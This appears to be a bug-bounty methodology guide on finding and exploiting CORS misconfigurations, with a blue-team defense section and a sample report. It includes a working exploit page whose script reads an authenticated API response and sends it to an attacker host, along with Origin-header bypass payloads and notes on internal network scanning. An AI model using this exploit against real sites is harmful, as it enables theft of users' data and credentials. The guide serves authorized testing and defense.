CORS Misconfiguration Exploitation
When to Use
- When auditing REST APIs (
/api/v1/user/details) that return highly sensitive user data. - When an application interacts heavily with external Subdomains (e.g.,
app.target.comtalking toapi.target.com). - When looking for a way to exfiltrate data from an authenticated session without possessing an XSS vulnerability on the target.
Prerequisites
- Authorized scope and target URLs from bug bounty program
- Burp Suite Professional (or Community) configured with browser proxy
- Familiarity with OWASP Top 10 and common web vulnerability classes
- SecLists wordlists for fuzzing and enumeration
Workflow
Phase 1: Identifying Permissive CORS Headers
# Concept: The Same-Origin Policy (SOP) prevents Website A from reading data from Website B.
# CORS is a mechanism to bypass SOP safely. If misconfigured, an attacker's website can read
# the victim's data from the vulnerable server.
# 1. Intercept a request to a sensitive endpoint (e.g., user profile data).
GET /api/private/details HTTP/1.1
Host: api.target.com
Origin: https://evil.com # Inject an attacker-controlled origin
# 2. Analyze the Response:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
{"email": "admin@target.com", "apiKey": "sk_live_xyz..."}
# Assessment: CRITICAL vulnerability. Because `Allow-Origin` dynamically reflected our evil origin,
# AND `Allow-Credentials` is true, a script on evil.com can extract this user's API key.
Phase 2: Exploiting the Flaw (Building the HTML Payload)
<!-- Concept: We must host a malicious website that forces the victim's browser to make the GET request -->
<!-- and extract the API response. -->
<!-- 1. Create exploit.html on attacker.com -->
<html>
<body>
<h2>Loading cute cats...</h2>
<script>
// Initialize the cross-origin request
var req = new XMLHttpRequest();
req.onload = function() {
// When the vulnerable API responds, exfiltrate the text out to our log server
fetch('https://attacker.com/log?data=' + btoa(this.responseText));
};
// Target the vulnerable endpoint
req.open('GET', 'https://api.target.com/api/private/details', true);
// Critical: Force the browser to attach the victim's session cookies
req.withCredentials = true;
req.send();
</script>
</body>
</html>
Phase 3: Bypassing Developer CORS Filters
# Concept: Developers often attempt to implement whitelists, but use faulty Regex or string matching.
# 1. Prefix/Suffix bypasses
# Developer intended to whitelist `https://target.com`.
Origin: https://target.com.attacker.com # Attacker creates a subdomain matching the prefix
Origin: https://attackertarget.com # Origin matches the suffix
# 2. Null Origin Bypass
# Developer miscalculates local execution environments.
Origin: null
# Result: Access-Control-Allow-Origin: null
# Exploit: To exploit this, load the exploit through an iframe sandbox to force a "null" origin.
# <iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,...">
# 3. HTTP to HTTPS downgrade
# A secure site (HTTPS) trusting its insecure counterpart (HTTP).
Origin: http://target.com
# Exploit: If the attacker sits on the same local network as the victim (e.g., coffee shop),
# they can intercept the HTTP origin and inject the CORS payload.
Phase 4: Exploiting CORS for Internal Network Scanning
# Concept: An application might permit CORS for "ANY" internal IP range, allowing pivoting.
Origin: http://192.168.1.5
# If the server reflects this origin, you can use the victim's browser to initiate
# internal network port scans that return the data directly back to you via JavaScript.
Decision Point 🔀
flowchart TD
A[Inject `Origin: https://evil.com`] --> B{Does response echo evil.com?}
B -->|Yes| C{Is Allow-Credentials: true?}
B -->|No| D[Test regex bypasses `target.com.evil.com` or `null`]
C -->|Yes| E[High Severity: Host exploit.html & steal PII/Tokens]
C -->|No| F[Low Severity: Can only read public data without victim cookies]
D -->|Bypass Successful| C
🔵 Blue Team Detection & Defense
- Explicit Whitelists: Do not dynamically reflect the incoming
Originheader into theAccess-Control-Allow-Originresponse header. Maintain a hardcoded, absolute array of trusted domains and perform exact string matching. - Null Safety: Never configuring the server to trust the
nullorigin, as malicious sandboxed iframes can easily impersonate it. - Deny Wildcards with Credentials: The HTTP specification explicitly forbids
Access-Control-Allow-Origin: *whileAccess-Control-Allow-Credentials: trueis active, but developers often mistakenly script custom logic to bypass this protection by echoing the wildcard.
Key Concepts
| Concept | Description |
|---|---|
| SOP | Same-Origin Policy; browser security feature ensuring scripts on domain A cannot read data stored on domain B |
| CORS | Protocol allowing domains to selectively relax the SOP to share APIs and data |
| ACAO | Access-Control-Allow-Origin; the HTTP response header specifying which domains are permitted to read the response |
| ACAC | Access-Control-Allow-Credentials; determines if the browser should expose the response when the request was made using the victim's cookies |
Output Format
Bug Bounty Report: API Key Exfiltration via CORS Misconfiguration
=================================================================
Vulnerability: Cross-Origin Resource Sharing Misconfiguration
Severity: High (CVSS 7.5)
Target: GET /api/v1/user/keys
Description:
The target API utilizes an insecure CORS configuration that dynamically reflects arbitrary origins supplied by the requester alongside the `Access-Control-Allow-Credentials: true` directive. By hosting a malicious HTML page, an attacker can leverage the victim's active session to retrieve their account's sensitive data across domains.
Reproduction Steps:
1. The victim establishes an authenticated session on `target.com`.
2. The attacker tricks the victim into visiting `http://attacker-site.com/exploit.html`.
3. The embedded JavaScript automatically executes a cross-origin `XMLHttpRequest` to `https://api.target.com/api/v1/user/keys`, attaching the victim's session cookies.
4. Due to the CORS misconfiguration, the victim's browser permits the attacker's script to read the API response JSON containing the plaintext API Key.
5. The script seamlessly exfiltrates this data to the attacker's server.
Impact:
Critical data exposure allowing persistent Account Takeover via API Key theft.
💰 Industry Bounty Payout Statistics (2024-2025)
| Company/Platform | Total Paid | Highest Single | Year |
|---|---|---|---|
| Google VRP | $17.1M | $250,000 (CVE-2025-4609 Chrome sandbox escape) | 2025 |
| Microsoft | $16.6M | (Not disclosed) | 2024 |
| Google VRP | $11.8M | $100,115 (Chrome MiraclePtr Bypass) | 2024 |
| HackerOne (all programs) | $81M | $100,050 (crypto firm) | 2025 |
| Meta/Facebook | $2.3M | up to $300K (mobile code execution) | 2024 |
| Crypto.com (HackerOne) | $2M program | $2M max | 2024 |
| 1Password (Bugcrowd) | $1M max | $1M (highest Bugcrowd ever) | 2024 |
| Samsung | $1M max | $1M (critical mobile flaws) | 2025 |
Key Takeaway: Google alone paid $17.1M in 2025 — a 40% increase YoY. Microsoft paid $16.6M. The industry is paying more, not less. Average critical bounty on HackerOne: $3,700 (2023).
📚 Shared Resources
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.md— Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.md— HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.md— Verified disclosed bounties by vulnerability class
References
- PortSwigger: CORS Vulnerabilities
- OWASP: Test Cross Origin Resource Sharing
- PayloadAllTheThings: CORS Misconfiguration